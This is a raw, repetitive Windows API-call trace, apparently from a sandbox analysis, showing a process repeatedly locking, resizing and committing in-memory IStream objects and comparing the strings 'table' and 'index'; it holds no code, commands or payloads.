0x0 [0054.944] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e6f0, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0054.944] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e6f0, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0054.944] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e6f0, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0054.944] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e6f0, libOffset=0x7, cb=0x0, dwLockType=0x0) returned 0x0 [0054.944] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e6f0, libOffset=0xc, cb=0x0, dwLockType=0x0) returned 0x0 [0054.944] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e6f0, libOffset=0x10, cb=0x0, dwLockType=0x0) returned 0x0 [0054.944] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e6f0, libOffset=0x14, cb=0x0, dwLockType=0x0) returned 0x0 [0054.944] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7d7) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e6f0, libOffset=0x15, cb=0x0, dwLockType=0x0) returned 0x0 [0054.944] IStream:SetSize (This=0x76e6f0, libNewSize=0x74ffa8) returned 0x0 [0054.944] IUnknown:Release (This=0x76e6f0) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e560, libOffset=0x7cf, cb=0x0, dwLockType=0x0) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e560, libOffset=0x7cf, cb=0x0, dwLockType=0x0) returned 0x0 [0054.944] IStream:SetSize (This=0x76e560, libNewSize=0xef81b) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.944] IStream:LockRegion (This=0x76e560, libOffset=0x7d0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.944] IStream:SetSize (This=0x76e560, libNewSize=0xef81b) returned 0x0 [0054.945] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef830 | out: ppstm=0xef830*=0x76e6f0) returned 0x0 [0054.945] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.945] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.945] IStream:LockRegion (This=0x76e560, libOffset=0x7d1, cb=0x0, dwLockType=0x0) returned 0x0 [0054.945] IStream:SetSize (This=0x76e560, libNewSize=0x75e920) returned 0x0 [0054.945] IStream:Commit (This=0x76e6f0, grfCommitFlags=0x75e920) returned 0x0 [0054.945] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.945] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.945] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.945] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.945] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.945] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.945] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.945] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.945] IStream:LockRegion (This=0x76e6f0, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0054.945] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.945] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.945] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.945] IStream:LockRegion (This=0x76e6f0, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0054.945] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.945] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.945] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.945] IStream:LockRegion (This=0x76e6f0, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0054.945] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.945] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.945] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.945] IStream:LockRegion (This=0x76e6f0, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0054.945] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.945] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.945] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.945] IStream:LockRegion (This=0x76e6f0, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0054.945] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.945] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.945] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.945] IStream:LockRegion (This=0x76e6f0, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0054.945] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.945] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.945] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.945] IStream:LockRegion (This=0x76e6f0, libOffset=0xb, cb=0x0, dwLockType=0x0) returned 0x0 [0054.945] IStream:SetSize (This=0x76e6f0, libNewSize=0x763a18) returned 0x0 [0054.945] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.945] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.945] IStream:LockRegion (This=0x76e6f0, libOffset=0x22, cb=0x0, dwLockType=0x0) returned 0x0 [0054.945] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.945] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.945] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.945] IStream:LockRegion (This=0x76e6f0, libOffset=0x26, cb=0x0, dwLockType=0x0) returned 0x0 [0054.945] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7d7) returned 0x0 [0054.945] IUnknown:Release (This=0x76e6f0) returned 0x0 [0054.945] IStream:LockRegion (This=0x76e560, libOffset=0x487, cb=0x0, dwLockType=0x0) returned 0x0 [0054.945] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.945] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.945] IStream:LockRegion (This=0x76e560, libOffset=0x487, cb=0x0, dwLockType=0x0) returned 0x0 [0054.946] IStream:SetSize (This=0x76e560, libNewSize=0xef81b) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e560, libOffset=0x488, cb=0x0, dwLockType=0x0) returned 0x0 [0054.946] IStream:SetSize (This=0x76e560, libNewSize=0xef81b) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e560, libOffset=0x489, cb=0x0, dwLockType=0x0) returned 0x0 [0054.946] IStream:SetSize (This=0x76e560, libNewSize=0xef81b) returned 0x0 [0054.946] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef830 | out: ppstm=0xef830*=0x76e6f0) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e560, libOffset=0x48a, cb=0x0, dwLockType=0x0) returned 0x0 [0054.946] IStream:SetSize (This=0x76e560, libNewSize=0x75e920) returned 0x0 [0054.946] IStream:Commit (This=0x76e6f0, grfCommitFlags=0x75e920) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.946] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e6f0, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0054.946] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e6f0, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0054.946] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e6f0, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0054.946] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e6f0, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0054.946] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e6f0, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0054.946] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e6f0, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0054.946] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e6f0, libOffset=0x7, cb=0x0, dwLockType=0x0) returned 0x0 [0054.946] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e6f0, libOffset=0xc, cb=0x0, dwLockType=0x0) returned 0x0 [0054.946] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.946] IStream:LockRegion (This=0x76e6f0, libOffset=0x12, cb=0x0, dwLockType=0x0) returned 0x0 [0054.947] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.947] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.947] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.947] IStream:LockRegion (This=0x76e6f0, libOffset=0x18, cb=0x0, dwLockType=0x0) returned 0x0 [0054.947] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7d7) returned 0x0 [0054.947] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.947] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.947] IStream:LockRegion (This=0x76e6f0, libOffset=0x19, cb=0x0, dwLockType=0x0) returned 0x0 [0054.947] IStream:SetSize (This=0x76e6f0, libNewSize=0x74cdf0) returned 0x0 [0054.947] IUnknown:Release (This=0x76e6f0) returned 0x0 [0054.947] lstrcmpA (lpString1="table", lpString2="table") returned 0 [0054.947] IStream:LockRegion (This=0x76e560, libOffset=0x1800, cb=0x0, dwLockType=0x0) returned 0x0 [0054.947] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.947] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.947] IStream:LockRegion (This=0x76e560, libOffset=0x1800, cb=0x0, dwLockType=0x0) returned 0x0 [0054.947] IStream:SetSize (This=0x76e560, libNewSize=0xef7ab) returned 0x0 [0054.947] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.947] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.947] IStream:LockRegion (This=0x76e560, libOffset=0x1801, cb=0x0, dwLockType=0x0) returned 0x0 [0054.947] IStream:SetSize (This=0x76e560, libNewSize=0xef7aa) returned 0x0 [0054.947] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.947] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.947] IStream:LockRegion (This=0x76e560, libOffset=0x1803, cb=0x0, dwLockType=0x0) returned 0x0 [0054.947] IStream:SetSize (This=0x76e560, libNewSize=0xef7aa) returned 0x0 [0054.947] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.947] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.947] IStream:LockRegion (This=0x76e560, libOffset=0x1805, cb=0x0, dwLockType=0x0) returned 0x0 [0054.947] IStream:SetSize (This=0x76e560, libNewSize=0xef7aa) returned 0x0 [0054.947] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.947] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.947] IStream:LockRegion (This=0x76e560, libOffset=0x1807, cb=0x0, dwLockType=0x0) returned 0x0 [0054.947] IStream:SetSize (This=0x76e560, libNewSize=0xef7ab) returned 0x0 [0054.948] IStream:LockRegion (This=0x76e560, libOffset=0x73a, cb=0x0, dwLockType=0x0) returned 0x0 [0054.948] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.948] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.948] IStream:LockRegion (This=0x76e560, libOffset=0x73a, cb=0x0, dwLockType=0x0) returned 0x0 [0054.948] IStream:SetSize (This=0x76e560, libNewSize=0xef81b) returned 0x0 [0054.948] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.948] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.948] IStream:LockRegion (This=0x76e560, libOffset=0x73b, cb=0x0, dwLockType=0x0) returned 0x0 [0054.948] IStream:SetSize (This=0x76e560, libNewSize=0xef81b) returned 0x0 [0054.948] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef830 | out: ppstm=0xef830*=0x76e6f0) returned 0x0 [0054.948] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.948] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.948] IStream:LockRegion (This=0x76e560, libOffset=0x73c, cb=0x0, dwLockType=0x0) returned 0x0 [0054.948] IStream:SetSize (This=0x76e560, libNewSize=0x75e920) returned 0x0 [0054.948] IStream:Commit (This=0x76e6f0, grfCommitFlags=0x75e920) returned 0x0 [0054.948] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.948] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.948] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.948] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.948] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.948] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.948] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.948] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.948] IStream:LockRegion (This=0x76e6f0, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0054.948] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.948] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.948] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.948] IStream:LockRegion (This=0x76e6f0, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0054.948] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.948] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.948] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.948] IStream:LockRegion (This=0x76e6f0, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0054.948] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.948] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.948] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.948] IStream:LockRegion (This=0x76e6f0, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0054.948] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.948] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.948] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.948] IStream:LockRegion (This=0x76e6f0, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0054.948] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.948] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.948] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.948] IStream:LockRegion (This=0x76e6f0, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0054.948] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.948] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.948] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.948] IStream:LockRegion (This=0x76e6f0, libOffset=0xb, cb=0x0, dwLockType=0x0) returned 0x0 [0054.948] IStream:SetSize (This=0x76e6f0, libNewSize=0x7590a8) returned 0x0 [0054.948] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.948] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.948] IStream:LockRegion (This=0x76e6f0, libOffset=0x24, cb=0x0, dwLockType=0x0) returned 0x0 [0054.948] IStream:SetSize (This=0x76e6f0, libNewSize=0x940a908) returned 0x0 [0054.949] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.949] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.949] IStream:LockRegion (This=0x76e6f0, libOffset=0x2a, cb=0x0, dwLockType=0x0) returned 0x0 [0054.949] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7d7) returned 0x0 [0054.949] IUnknown:Release (This=0x76e6f0) returned 0x0 [0054.949] lstrcmpA (lpString1="table", lpString2="index") returned 1 [0054.949] IStream:LockRegion (This=0x76e560, libOffset=0x433, cb=0x0, dwLockType=0x0) returned 0x0 [0054.949] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.949] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.949] IStream:LockRegion (This=0x76e560, libOffset=0x433, cb=0x0, dwLockType=0x0) returned 0x0 [0054.949] IStream:SetSize (This=0x76e560, libNewSize=0xef81b) returned 0x0 [0054.949] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.949] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.949] IStream:LockRegion (This=0x76e560, libOffset=0x434, cb=0x0, dwLockType=0x0) returned 0x0 [0054.949] IStream:SetSize (This=0x76e560, libNewSize=0xef81b) returned 0x0 [0054.949] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef830 | out: ppstm=0xef830*=0x76e6f0) returned 0x0 [0054.949] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.949] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.949] IStream:LockRegion (This=0x76e560, libOffset=0x435, cb=0x0, dwLockType=0x0) returned 0x0 [0054.949] IStream:SetSize (This=0x76e560, libNewSize=0x75e920) returned 0x0 [0054.949] IStream:Commit (This=0x76e6f0, grfCommitFlags=0x75e920) returned 0x0 [0054.949] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.949] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.949] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.949] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.949] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0054.949] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.949] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.949] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.949] IStream:LockRegion (This=0x76e6f0, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0054.949] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.949] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.949] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.949] IStream:LockRegion (This=0x76e6f0, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0054.949] IStream:SetSize (This=0x76e6f0, libNewSize=0xef7db) returned 0x0 [0054.949] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0054.949] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0054.949] IStream:LockRegion (This=0x76e6f0, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0054.949] IStream:SetSize (This=0x76e6f0, 